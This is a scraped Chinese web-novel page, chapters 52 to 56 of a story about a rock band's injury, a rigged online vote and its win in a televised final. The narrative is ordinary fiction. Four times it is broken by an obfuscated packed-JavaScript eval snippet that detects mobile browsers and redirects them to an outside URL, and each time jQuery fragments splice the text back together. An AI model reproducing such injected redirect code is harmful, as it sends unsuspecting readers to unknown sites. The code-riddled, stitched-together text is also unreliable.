;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980594|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬摇摇头：“没事。” 他们一行人上了另一辆警车，跟着警察去派出所做笔录。 嫌疑人已经被关押了起来，正在审问。宋之雯这才细细查看齐扬的伤势，额头摔破了，手臂处有不同程度的擦伤。 她问值班的警察要了红药水，递给齐扬，但涂到额头的伤口的时候，他却放下了：“我看不见。” 宋之雯掏出手机，调到自拍模式给他照着，齐扬却坚持说：“我看不见。” 没办法，宋之雯只好拿棉签蘸了一点红药水，手扶着他的头，轻轻点在额头上。 齐扬忍不住发出了“嘶”的一声。 宋之雯柔声和他说道：“忍着点。”随后继续认真地给他涂着。 他们俩的脸离得很近，齐扬琥珀色的瞳仁就这么紧盯着她，眼前还蒙上了一层水雾，在日光灯的照射下顾盼生辉。 宋之雯的手指因为在风里吹过，变得凉冰冰的，但触到齐扬的脸颊时却感到滚烫的温度。 “好了。”她放下了药，看着齐扬的脸上多了几条红色的杠，再加上他有点发红的眼睛，真有点战损的味道。 她有点别扭地别过头去：“我和瑜姐说了，她马上就到。” 很快何瑜以及晨星乐队的其他成员，郭卫他们都赶到了。何瑜一看到齐扬这样，流露出一副心疼的神情，接着破口大骂：“是哪个不识好歹的敢打你，老娘要弄死他。” 齐扬懒懒地抬起头：“人已经抓到了，在审问呢。” 郭卫和吴衡也在旁边劝她：“瑜姐，冷静点，交给警察就行了，你在这儿也帮不上什么忙。” 何瑜走过去抱了抱宋之雯：“阿雯，谢谢你，如果没有你真不知道该怎么办。” 这时警察拿着一个本子过来了：“这么多人站在这里干嘛呢？谁是目击证人？受害者的朋友？” 宋之雯和林嘉和自觉地举起了手，其他人主动后退，老实地坐在椅子上。 警察走到了他们面前：“事情的经过我们已经搞清楚了，但幕后是谁指使的，嫌疑人一直不肯说。” “其实我已经知道了，我想大家应该也能猜到。”齐扬和宋之雯对视了一眼，彼此心知肚明。 “好，那就分别跟我们做个笔录吧。”警察把他们三个人分别带走了，宋之雯根据自己的记忆把事情详细地描述了一遍，再把视频以及录音证据留下了。 出来的时候已经下半夜了，宋之雯有点歉意地对林嘉和点了个头：“今天麻烦你了，快回去睡吧，下次请你吃饭。” “没事，人找到就好。你们好好照顾他。”林嘉和说着就走了出去。 宋之雯看见齐扬的那扇门也打开了，走过去扶他：“你真的没事吗？要不要去医院看看？” 齐扬还是摇摇头：“没事。” “真的吗？”宋之雯戳了戳他肋骨的地方。 齐扬忍不住叫了一声。 “我说什么来着？”何瑜也走了过去，和宋之雯一起扶他，转头又对旁边的吴衡说道，“打车，还是去拍个片子吧。” 53. 第五十三章 陷阱 一行人浩浩荡荡地赶去了医院，挂了急诊，拍了片子显示还好肋骨没有骨折，只是肋间神经损伤。 齐扬神色凝重地看着片子：“严重吗？要多久才能恢复？” “两个星期最起码的，这样吧，你先住院两天，再做个全身检查保险一点。”医生看到他额头上的伤口，“啧”了一声，“小伙子，怎么弄的啊？这么严重。” 齐扬轻描淡写地说道：“训练时候摔了。” “年轻人，要注意身体啊，别那么拼命。”医生把病例交还给他，“行了，去办理住院手续吧。” 何瑜一行人去办理住院手续了，宋之雯站在医院的走廊上，给王清妍打电话，把齐扬的情况都报告了。 王清妍马上启动了公关，并叮嘱了宋之雯好几遍今天发生的事一分一毫都不能往外说。 办完了住院手续，一行人围在齐扬的床边大眼瞪小眼。 “怎么办？”韦峰直发愁，“你现在受伤了胸腔不能剧烈活动，我们排练进度肯定要耽误了。” “你们先练第一首歌呗，让瑜姐唱。” “你确定？”何瑜歪头笑着看齐扬，“不怕我把你们带沟里了？” “本来你的实力就在我之上，要是愿意的话，我可以把我主唱的位置让给你。” 何瑜打了一下他的肩膀：“别抬举我了，臭小子。” “啊，疼疼疼。”齐扬笑着求饶。 “是啊，瑜姐，你不知道我们的粉丝现在都盼望着你多唱点呢。”吴衡把手机拿给她看。 “我赞同，没准可以让对手出其不意。”叶琛也附和。 何瑜勉为其难地答应了：“行，姐姐就帮你这个忙，帮你教训教训那老登。” “你们都回去吧，折腾了一晚上了，赶紧休息。”齐扬只觉得浓浓的困意袭来，闭上眼睛，有气无力地说出了这句话。 “我呆在这里吧，明天休假。”宋之雯主动说道。 何瑜用眼神示意了一下其他人，吴衡拍拍郭卫的肩膀，一起出去了。 病房里很快就空荡了起来，只剩下了宋之雯和齐扬两个人。 宋之雯拉开了旁边的折叠床，找了一床被子，躺在上面睡了。 这一晚睡得并不安稳，她时不时要起来看一下齐扬的动静，确定没事才继续睡。到了天亮的时候，她再也睡不着了，索性下楼去买早饭。 等她拎着袋子上来的时候，看到齐扬正在洗漱，便上前去问道：“起了？我买了早饭，要一起吃点吗？” 齐扬“嗯”了一声，算是默认了。 宋之雯拉开小桌板，把东西一样一样放在上面：“我怕你吃不了油腻的，买了小米粥、鸡蛋还有馒头，你自己挑吧。” “宋之雯。”齐扬开口道，“你怎么还在这？” “我不在这谁在这，瑜姐他们还要抓紧时间排练第一首歌。” “你怎么突然对我这么好？” “我不是还欠你个人情吗？这下算还清了吧？” “不算。”齐扬笑得有些顽劣，“我又没说要你还。” “那你想怎么办？”宋之雯气不打一处来。 齐扬抓过她的手臂，把她拉到自己面前：“宋之雯，你这个人真的很奇怪，昨天看见我被打快急哭了，今天又满不在乎地和我撇清关系，你到底想干嘛？” “无论被打的是谁，出于同学的关系，我都会帮的。”宋之雯挣扎了一下，想摆脱他的力道。 齐扬又把手收紧了一点，温热的气息喷到她脸上：“原来我们这么多年了仅仅是同学啊，那我白努力了，连叶琛都不如。” “行了。”齐扬松开了她，“这个人情先欠着吧，让我想想怎么还，等决赛结束了再说，你放心，现阶段我会好好比赛的。” 宋之雯脸一红，低着头说：“吃饭。” 吃完饭后她又陪着齐扬做了各项常规检查，医生说除了肋间神经之外，其他没有大碍，明天就可以出院在家修养了。 宋之雯扶着齐扬到了病床上，他把被子一盖蒙住头，示意自己要睡觉了，让她快点走。 主人下了逐客令，宋之雯也不好继续呆着。正好林嘉和睡醒了想来看看齐扬，她便和林嘉和换班，交代了一些事宜，悄悄地推门出去。 即使香橙视频拼命封锁消息，齐扬在医院的照片还是不知道被哪个好事者拍到，传播到了网上。一时间想删帖已经来不及了，愤怒的粉丝早已涌到官博下面连连质问怎么看管的艺人。 宋之雯才回学校休息了半天，就被叫回来继续加班。虽然是她找回的齐扬，但让齐扬受伤这件事也有她看管不力的责任，因此她和王清妍都被扣了工资。 “现在的问题很严峻，你让派出所那边继续调查，但千万不能太张扬，等事情查清楚了再发声明，有没有在网上造谣的？” 宋之雯摇头：“目前没有，最有可能造谣的嫌疑人在警察看着呢，还顺藤摸瓜摸到了好几个。” “那就好，这几天你随时盯着网上的舆论，一有不利的立刻联系删帖，如果拒不悔改我们会联系律师处理。” 没想到第二天就有粉丝在公司楼下拉横幅，上面印着“香橙视频倒闭”的文字，被王清妍和张浩厉声喝斥轰走了。 宋之雯把图发给了齐扬，当天齐扬就在粉丝群里说自己的伤并没有大碍，休息几天就好了。何瑜、吴衡、韦峰和叶琛也纷纷下场劝告粉丝不要采取过激行为。 香橙视频也发布了声明，只说齐扬在录制节目时意外受伤，请不要打扰艺人正常的休养，如果有寻衅滋事者将采取法律手段。至于怎么受伤的细节，就选择性地略过。 一时间网上众多猜测，有说他被舞台道具砸了的，也有说他摔倒了，更有的说他和其他选手起了冲突的。这些都被王清妍压了下来，让大家不要传谣。 宋之雯看着王清妍连熬几夜布满红血丝的眼睛，有点愧疚：“王姐，对不起，给你添麻烦了。” “没事，这种场面我见得多了，以前犯法的都有。”王清妍目不转睛地对着电脑，“这行水很深的，你确定要来吗？” “难道其他地方的水就浅吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991663|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那行。”王清妍转了过来，用手撑着椅背，“其实我很好奇，齐扬怎么会无缘无故被人打？你知道吗？” “太火了，抢了别人的风头，眼红呗。” “哼。”王清妍冷笑了一声。 此时的于川也在和经纪人联系：“他们没有查到什么吧？” “没有，于老师放心，再查也查不到你。” “那就好。”于川舒了一口气。 “还有数据公司那边我已经联系好了，几十万个账号给你投票，保证这个冠军是你的。” “辛苦你了。” 经纪人听到这，嘴角弯了起来。 一周之后，齐扬就恢复了排练，在这之前，他先把晨星乐队以及麋鹿乐队的成员叫到家里，开了个小会。 “这次的事情大家也都知道是谁搞的鬼，现在谁拿冠军都不重要，重要的是不能让冠军落到飞花乐队手里。”齐扬一想到于川干的那些事，就恨得牙痒痒。 郭卫的脸色有点为难：“可是人家毕竟是有百万粉丝的大乐队，背后还靠大公司，你让我们怎么打？” “第一轮我相信以我们的实力肯定能挺过去的，重要的是两两对决那会儿，我们留意一下抽签，尽量有一个碰上飞花乐队，能把他们打掉最好。” “说得倒容易。”秦伊莲轻笑了几声，“你们这抽签运也是烂得没边了。” “我们尽力吧。”被她这么一说，齐扬面子也挂不住，“这回派瑜姐上倒也是一个出其不意的招数，你们好好选歌，尽量选能引起观众共鸣的。” “知道啦，你还是担心担心你自己吧。”廖可瞄了一眼他的伤口。 “还有一点......”何瑜突然一激灵，“这几次飞花乐队的票数都高得离谱，警惕刷票的嫌疑。” “这有什么办法吗？”吴衡用胳膊肘撞了撞叶琛。 叶琛想了想：“我问问我本科的同学吧。” “也要把这事告诉宋之雯，让她留意一下。”齐扬补充。 他反复看了所有的人好几遍，语重心长地说：“我算是看出来了，这档节目完全是为于川定制的，其他人都得给他抬轿。我们不能让他得逞，不然以后不止我被打压，其他小乐队也是，我需要你们的帮助。” 郭卫也受到了触动，重重点头：“好。” 每个人无声地把手叠了上来，齐扬握了握他们的手，低声说道：“加油。” 宋之雯这边收到叶琛的消息后，立刻着手联系项婉：“项婉，你们本科有没有做过程序或者代码能监测网络刷票的？” “有是有，不过比较复杂，怎么突然问这个？”项婉不解。 “没什么，因为我们决赛是现场加网络投票的形式，我怕容易造假。”宋之雯决定还是先把这件事瞒下来。 “这样啊，我问问我在微博工作的同学吧，看决赛之后能不能把数据反馈给你。” “谢谢啊。”宋之雯做了个胜利的手势，开心地放下了手机。 大网已经布下，就看这条鱼上不上钩了。 54. 第五十四章 铺垫 因为耽误了太多的进度，齐扬接下来几乎是住在了排练室里，除了吃饭和上厕所之外就不出来。粉丝也都调侃他的排练照就是个野人。 两支乐队暗地里都憋着一股劲，他们明白努力不只是为了一个奖杯，更是为了自己的未来。 本次决赛的地点选在了B市的体育场，提前一周才开票，结果空前的火爆，不到一分钟就售罄了，网上都是哀嚎抢不到票的声音，更有加价买票的。 在万众瞩目中，决赛终于来临。 所有的人一大早就起来开工了，要准备服装造型，拍摄定妆照，备采等各种东西。 王清妍把备采这个艰巨的任务交给了宋之雯，美其名曰锻炼。 宋之雯去场地准备的路上，正好遇上了颜承宇。他今天穿了一身黑色的西装，刮干净了胡子，挺得板正，有那么几分型男的气质。 宋之雯上下打量了一下他：“今天很帅啊。” 颜承宇心花怒放，表面又装作不好意思：“哪有，哪有，都一把年纪了。” 张浩在房间里架起了摄影机，先尝试着录了一段，调试好之后对宋之雯比了个“OK”的手势。 宋之雯引导着格律乐队坐下，开始了她的采访。 颜承宇还算坦诚，说他本来不想来这个节目的，觉得受限制太多，是被老朋友孔尚连哄带骗过来的。但渐渐地他就发现这里的人都挺好的，玩得还挺开心的。 宋之雯感到无比欣慰。 采访对象配合，接下来的采访就进行得无比顺利。只是一连采访几个，宋之雯感觉口干舌燥，休息的间隙，突然听到外面传出“哇”的一声。 宋之雯抬头往外面看去，只见齐扬穿着一件黄蓝相间的短袖卫衣，配着短裤，脸上只化了淡妆，如海风扑面般清爽。 其他成员也配合着穿了黄蓝色系的衣服，好像夏天真的来到了。 果然大道至简是有道理的。 张浩一见面就连连夸奖：“老弟，又帅了啊。” “过奖过奖。”齐扬拍拍他的肩膀，坐到了位子上。 张浩把摄像机对准了他，宋之雯开始提问：“一路走到现在什么感受？” “感受嘛......就是......争吵变多了。”齐扬低头笑了一下，看向吴衡，“对吧？昨天还为舞台的编排吵了一架？” 吴衡也用笑掩饰尴尬：“我是觉得那样效果更好，都是为了舞台嘛。” “是啊，有点小摩擦是在所难免的，但那样也让我们更团结。”何瑜打着圆场。 “对决赛有什么目标没有？”宋之雯继续提问。 “目标只有一个，和刚来的时候一样。”齐扬指了一下镜头，“就是为了赢。” 宋之雯早已习惯了齐扬这样直白的表达方式，瞄了一眼台本，平静地说：“可以透露一下决赛结束后的计划吗？” “会有新专辑发行。”齐扬露出了一个神秘的微笑，“期待一下。” “谢谢你们接受采访。”宋之雯挨个和成员们握手，“决赛加油。” 韦峰大吼了一声给自己壮胆：“等着我们的好消息啊。” 六点的时候，体育场的门外已经开始了红毯环节。不少热心粉丝把场地围得里三层外三层。谢季青身着高定礼服，和另外一个电视台的当红男主持覃天一起采访乐队。 留下来的这七支都是人气中的王者，每走过一支就有铁杆粉丝尖叫，不过这叫声在齐扬经过的时候尤其大。 “卧槽，之前只在电视上见过齐扬，今天近距离见我敢说他比屏幕上好看一百倍。” “今天的这个妆造我简直太喜欢了啊啊啊，清爽男大。” 晨星乐队的各个成员拿了签字笔，在签名墙上利落地签下了自己的名字，再回答了几个问题，就快步溜走了。 到了七点左右，围观的人群才渐渐散去，陆续进场检票，谢季青在台上很敬业地和观众玩着互动小游戏。 七点半，灯光准时亮了起来，绕着体育场的顶棚环游，整个天幕流光溢彩。 观众的尖叫声也一浪高过一浪。 “大手笔啊，香橙视频为了这个节目真舍得花钱。” “我已经开始期待今晚的决赛了。” 覃天镇定自若地站在台上，说出了今晚第一句开场白：“最强live，给你最极致的乐队现场体验。这里是由香橙视频自制的大型乐队竞技节目《最强live》的录制现场，我是主持人覃天。” “我是主持人谢季青。”她依旧是招牌的甜美笑容，和覃天形成了一动一静的相宜。 “经过了三个多月的角逐，我们共产生了七支晋级决赛的乐队，今晚将要决出总冠军。比赛分为三轮，第一轮淘汰三支乐队，第二三轮乐队两两PK，直到决出冠亚军。”覃天不愧是专业素养过硬，一连串不看台本也没有卡壳。 “同时我们将开启线上和线下同步投票，选出最喜爱的乐队的权利就交给你啦。”谢季青还朝观众比了个心。 宋之雯看了一眼手机群，尹心悦说她已经联系了所有晨星音乐社的社员投票，林嘉和让新媒体中心推送了投票的推文，项婉更是呼朋唤友搞了好几个账号。 一场大战一触即发。 飞花乐队照旧是抽到了第七的序号，但这回麋鹿乐队和晨星乐队的签运比较好，分别抽到了五六位。 决赛大家都主打一个情怀路线，拿出了自己压箱底的歌曲，因此每表演一个分数都创造了新高。 其中Urban乐队和格律乐队的分数非常接近，现场投票只差了两票。 麋鹿乐队选择的也是他们首张专辑里最有名的歌曲《前行》，这是一首带一点rap的歌曲，因此郭卫今天的头发也编了起来，两个女孩头上也戴了金属饰品。 当郭卫把一连串押韵的口号喊出来以后，观众理所当然地被他调动起来了，毫不犹豫地按下了投票键。 分数超过了刚刚的格律乐队，而这却在他的意料之中，因此十分平静地走下台。 轮到晨星乐队上台了，齐扬照例用熟悉的三声鼓和大家打了招呼，然后绕到一边，空出C位。 在大家的不解声中，他笑了，拉长了语调：“今天，我们不唱旧歌，唱一首从来没听过的新歌。” “并且——还是由瑜姐演唱。” 当观众自己意识到自己能听到何瑜千载难逢地唱歌时，都纷纷尖叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005501|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 齐扬替代了何瑜键盘的位置，修长的手指在琴键上舞蹈，叮咚作响的水声从琴键上倾泻而出。 何瑜穿着明黄色的连衣裙，缓缓开口。 寒冷的雪花让大地冬眠 我趴在窗户看着街边 行人因风而吹皱的脸 让我开始怀念那个夏天 炙热的太阳让人不敢抬头看 和朋友玩耍肆意流汗 橘子水的气味有些微甜 不想我们就这样走散 她一开始的声音是平静的、温柔的、带着点叙述感的，好像一片柔软的羽毛轻轻抚慰你的心灵。舞台的背景也配合着她，是浅浅的灰白色调。 直到唱最后一个“散”字的时候，何瑜的音调骤然高了起来，与伴奏完美衔接。舞台也恰合时宜地亮了起来，变成了明黄色。 我站在冬天回望夏天 那些曾经熟悉却又陌生的脸 我多希望自己能奔跑过时间 却只能重复着一年又一年 如火一般的夏天 我不想和你说再见 在副歌部分，何瑜时而奔放地释放着自己的情感，时而又迂回地转入低沉，收放自如，既有离别的不舍，也有释然。 其他成员配合着何瑜唱和声，就像是曾经的朋友与她形成了应和，那么近又那么遥远。 这首讲友谊题材的歌引起了很多人的共鸣，不少观众若有所思，在底下偷偷摸着眼泪。 “太好了太好了，瑜姐果然是晨星乐队的王炸。” “技巧堪称完美，支持瑜姐成为第二主唱。” 唱完之后，齐扬主动走到台边和观众互动：“刚刚瑜姐唱得好不好啊？” “好！”这声震天响是男观众喊出来的。 齐扬开始鼓掌：“这是我们新专辑里的歌，瑜姐完成得非常好，当然，想继续听我唱歌的话呢，就请继续给我们投票。” 他站在那里，笑得格外阳光开朗。 这波又迷倒了不少女观众，晨星乐队的分数很轻松地超过了麋鹿乐队，来到了目前的第一位。 于川在旁边的脸色也不是很好看，捏紧了手中的话筒，决定给他点颜色瞧瞧。 他选的是他们乐队仅次于《飞花》的，被成为撕心裂肺情歌榜第一的《独自等待》，讲述了一个北漂男人被抛弃的故事。 这首歌他已经唱了不下百遍，技巧游刃有余，高音处撕裂，该怒吼时就怒吼，却又能马上收回来转入深情的低音，必要时还挤出几滴眼泪。 谢季青上台之后采访他为什么哭，他便说唱这首歌想起了年少时的经历，触景生情了。 眼泪果然赢得了一波同情分，于川满意地转头看屏幕，现在他们已经来到了第一位。 最终的总排名公布，覃天看了屏幕好一会儿，才用颇为惋惜的语气说道：“很遗憾，线上和线下的投票加起来，Urban乐队还是落后于格律乐队，随另外两支一起淘汰。” 樊博宇，从参赛以来就被观众戏称为打不死的小强，卡着线晋级，靠自己的努力逆袭，遇上强大的对手淘汰，再顽强地复活。 现在他真的要走了。 55. 第五十五章 冠军 观众很多都哭了，大喊着不要走。 樊博宇朝四面八方鞠躬，挥了挥手：“谢谢大家这一路上的支持，我不会放弃做乐队的，即使离开节目我也会继续努力。” 涂龙拼命地为他鼓掌：“小伙子，或许你不是最天赋异禀的那个，但绝对是最勤奋的那个，加油，这里是你的起点而不是终点。” 在一路的掌声和鲜花中，樊博宇光荣地走下舞台。 齐扬和郭卫对视了一眼，他们明白真正的考验到了。 谢季青端上来了四个盒子，外面分别露出一节木棍，抽到长的为一组，短的为另一组。 齐扬先不动，看于川什么反应。等到于川从露出的一小节抽出一根长的之后，他刚要伸手去够另外一个盒子，却被郭卫抢先抽了出来。 这样剩下的晨星乐队和格律乐队就自动为一组。 郭卫先唱，他这次选的是节奏感很强的一首电子音乐，听了就忍不住抖腿的那种。表演的时候他在舞台上自如地扭动着身体，配合着音乐打着响指，步伐流畅，还示意观众也一起做。 这首歌的旋律很多变，让人琢磨不透，但又充分展现了他的唱功，关键时候来个高音惊艳你的耳朵。 一首歌下来之后，就连涂龙也不得不承认郭卫是编排的鬼才，这样的天赋不多见。 于川的风格则截然不同，选了一首窝在城市角落的颓丧歌曲，整个舞台都是灰蒙蒙的色调，让人听得心情也下雨。 齐扬屏住呼吸，握紧拳头看着大屏幕，胜负就在此一举了。 麋鹿乐队和飞花乐队的票数几乎是起头并进，一直到十几万票了还没有分出胜负，但在麋鹿乐队停下来的时候，飞花乐队突然高出了一截。 郭卫回头露出一个无奈的微笑，大意就是兄弟我尽力了，对不住。 齐扬心中的怒火也在燃烧，他实在是想不到飞花乐队刷票这么明目张胆。 宋之雯也看呆了，给项婉发了一条消息：“你们给麋鹿乐队投票了吗？” 项婉一脸无辜地回复：“投了啊，可投的速度赶不上刷的速度，下面只能寄希望于齐扬的人气了。” 宋之雯揪了一下头发，觉得头疼欲裂。 齐扬面对着颜承宇鞠了一躬，攻击性极强地说道：“请多指教了。” 颜承宇也学着古人作揖：“承让。” 这回齐扬选择了后唱，站在旁边看颜承宇的表演。 颜承宇这回选了一首写给自己母亲的歌，从小时候的蹒跚学步到年少背井离乡，母亲都陪伴在他左右，引起了很多观众的共情，他自己也被触动了。 他的表演基本上无可挑剔，但齐扬上来就用重金属的摇滚给他了狠狠一击：“Everybody,it’sshowtime,现在是最好的时代，因为《我们正年轻》。” 我行走在路上用青春挥洒着汗水 不去担心明天的太阳是否会下坠 大胆去尝试吧不管错与对 不努力的人生一定会后悔 这首歌一扫《回望夏天》的悲伤，充满了积极向上的心态，吴衡、何瑜和叶琛几乎都是跳着弹琴的，齐扬笑着在他们之间互动，还把话筒递了上去。 趁着年轻就要勇敢去闯 不要停留只保留天真的幻想 身披盔甲尽情地展露锋芒 正面抵挡世间的所有碰撞 即使受伤也能再次启航 因为年轻前路还长 乐队成员一抹抹明黄的身影在舞台上扇动，点亮了夜空，让观众也被他们的活力所感染，彻底地放下防备，尽情地跟着摇摆。 最后韦峰还秀了一下自己的鼓，一阵急促如雨下的旋律响起，节奏越来越快，绵长有十几秒之久，最后才重重地一锤定音。 比赛已经到了这里，评委都一摊手：“他们的水平已经到了一个高度，我已经没什么好评价的了。我们今晚不是在比赛，而是在享受演出。” 尽管台下的观众反响非常热烈，齐扬还是有点紧张地看着屏幕。晨星乐队和格律乐队的票数同样也非常接近，但好在最后晨星乐队的增长速度更快，超过了格律乐队。 颜承宇主动走过来和他拥抱：“小伙子，不错啊，潜力无限，我看好你的发展。” 齐扬看着空荡荡的舞台，真正意识到战斗的只剩下自己一个人了。 覃天带着笑意走到了台上：“现在就进入到了我们最紧张刺激的环节，冠亚军的争夺。但是我们首先要确定演唱顺序，众所周知有一种最传统的方式——抛硬币。” 在最紧张的环节，加入那么一点小幽默可以有效地缓解气氛，很多观众都笑了。 覃天把硬币拿在了手上：“二位押个宝吧，正面还是反面？押对的可以选择先唱后唱。” 齐扬忽然想剑走偏锋一下：“反面吧。” “那我就正面。”于川不动声色地回答，反正对他来说都一样。 覃天把硬币抛到了空中，麻利地用手接住再盖上：“大家猜猜是正面还是反面呢？” 他像魔术师揭秘一样一点点揭开，一朵花赫然躺在手心。 齐扬对于川抬了抬下颚：“你先吧，我后唱。” 于川笑笑，没说什么，走到台中央开始等待音乐的响起。 他选的是上个世纪他们创作的一首经典摇滚歌曲《这就是Rock》，被誉为原汁原味的摇滚，常被乐评人引用用来批评现在那些不三不四的风格。 伴奏一出来，于川立刻抬手，眼神开始变得锋利，声音也具有穿透力，仿佛回到了年轻时候那个天不怕地不怕的小伙。 歌词探讨了那个时代对摇滚的理解，不是模仿几句雷鬼朋克就可以，而是真正的反叛精神。 于川唱得脸部都用了力，在“这就是Rock”的时候露出了骄傲和得意的表情，把摇滚的手势高高举起，一些观众也随着他做了这个动作。 一场下来，于川已经是大汗淋漓，可见真的拼劲了权力。谢季青采访他的时候，他还调侃说一把老骨头了，体力跟不上年轻人了。 齐扬站在舞台边调整着呼吸，竭力把脑海中的杂念都抛去，只想着完成这首歌。 他睁开眼，听到了台下郭卫的加油声，看到了宋之雯肯定的手势，以及感受到了队友手心的温度，笑了笑，拉着队友一起上台。 “最后一首歌了，我想给这一趟舞台之旅做一个总结。”他的声音带着低低的磁性，如老式唱片般沉稳而又有力，“这是我的四季，也是你们的四季，专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019706|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辑的主打歌《四季和我》送给大家。” 还没唱台下已经先尖叫了起来，他们没想到还有听主打歌首唱的机会。 后面的屏幕滚动起来，先是呈现出一张白纸，再用颜料涂抹色彩，绘成了春天的模样。 齐扬就在这样的美景里，用丝毫不夹带杂质的干净的声音演唱。 叶子飞过给我带来春天的消息 树木撑开雨伞却告诉我已经是夏季 花的生命枯萎在秋天埋藏土地 雪把一切覆盖等待来年再次揭秘 画卷继续变换，泼上了黄色的颜料，变成了明晃晃的夏天，再和橘色衔接过渡，落叶凋零，最后回归于一片纯白。 就在那白色的背景上，突然划出了几道痕迹，显现出晨星乐队不同时期的照片。 观众发出一阵惊呼。 齐扬静静地凝视不断变换的照片，饱含深情地继续唱。 四季赠予我的把它当成永恒的礼物 像鸟儿一样有时欢笑有时痛哭 生命就是这样反反复复不会结束 凋谢了之后又重新破土而出 唱歌唱到最后，什么样的技巧都不重要了，只有真挚的情感和一颗纯净没有受过污染的心。 观众也跟随着齐扬经历了晨星乐队的四季，从初出茅庐，再到年少成名，打入谷底，最后卷土重来，每个人都从歌声中听到了不一样的美景。 旋律久久悠扬，在观众心中挥之不去。 唱完最后一个音之后，齐扬深深地朝大家鞠了一躬。他知道自己已经尽力了，如果人生注定只能给他人做配角，他也没什么怨言。 两个主持人双双上台：“感谢二位精彩的演唱，最终的决赛果然刺激。现在轮到观众紧张了，请拿起你们的投票器，为你喜欢的乐队投票，线上投票通道也已经开启。” 宋之雯手机里的群又活跃了起来，尹心悦和项婉说正在奋力投票中，林嘉和也告诉她现在学校的视频号正在转播《最强live》的决赛。 底下不知道是谁起的头，大家纷纷喊着齐扬的名字。 另一边于川的粉丝也不甘示弱，用更大的嗓门吼了回去，很快两边就进入了白热化的竞争中。 谢季青先笑吟吟地让他们喊一会儿，直到两边快喊不动了才开口：“看来两个乐队人气都很高啊，但是冠军只有一个，现在就是决定胜负的时候到了。” 所有的人呼吸都停滞了一下，看着大屏幕。连于川整个人都在抖，他有点意识到面前这个面容平和的年轻人并不简单。 两个乐队的票数都疯一样地增长，一个刚超过了，另一个又超回来，互不相让，就这样到了大家想都不敢想的数字。 然而飞花乐队还是保持着领先优势。 忽然有人大叫一声：“你看！”只见晨星乐队的票数开始稳步上升，而飞花乐队的增长渐缓，慢慢地晨星乐队后来居上，在90万票的时候一举超越了飞花乐队！ 于川急得直跺脚，却只能看着晨星乐队的票数继续往上升，直到突破了100万！ 谢季青也激动得破音了：“最终晨星乐队共获得103万票，飞花乐队91万票，让我们恭喜晨星乐队拿下《最强live》的年度总冠军！” 56. 第五十六章 挽回 晨星乐队的粉丝全都站了起来鼓掌，互相拥抱庆祝。郭卫更是开心得像个孩子一样。宋之雯虽然没有像他们那样夸张，但也由衷为乐队高兴。 在一片掌声中，齐扬接过了覃天递过来的奖杯，是一座拿着立麦的小金人，亚军则是银色的电吉他。 各家媒体都围了上来，对着他一顿猛拍，齐扬笑着配合他们摆出各种姿势，而于川的脸则黑得和炭一样。 下了台之后，于川找了个僻静的地方，直接打电话给数据公司：“你们怎么回事，不是买好了数据吗？为什么刷不上去？” 数据公司的员工满怀歉意地说：“于老师，实在对不住，晨星乐队的人气实在太高了，我们一刷上去粉丝就拼命地投，实在投不过。” “这样吗？那以后不用合作了。”于川冷冷地挂断了电话。 这时经纪人也过来了：“于老师，后面的庆功宴还要您出席。” “知道了。”于川的脸色恢复如常，坐车去了酒店。 决赛给香橙视频带来了空前绝后的流量，赚得盆满钵满，因此领导在庆功宴上喜笑颜开，包括王清妍宋之雯在内的员工都受到了表扬。 宋之雯又要接受领导的问候，又要被劝酒，感到身心俱疲。不过还好王清妍帮她挡了不少，并且让她只喝饮料就行了。 至于晨星乐队的成员们，他们被媒体缠了好一会儿才脱身。到了宴会厅的时候，涂龙向齐扬招招手：“你出来一下。” 他把齐扬带到了一个会议室里，和第一次见面一样伸出手：“坐吧，我们聊聊。” 齐扬拉开了椅子，双手交叠，眼神不善地看着他：“涂老师找我有何贵干啊？” “两年前的事情我一直想给你们道个歉，那时候我也身缠官司没办法脱身，耽误了乐队，对不起。” 齐扬的嘴角轻蔑地一笑：“涂老师不用道歉，这不也都熬过来了吗？” “不过你们现在有这样的发展，我很为你们高兴，证明我的眼光没错。” 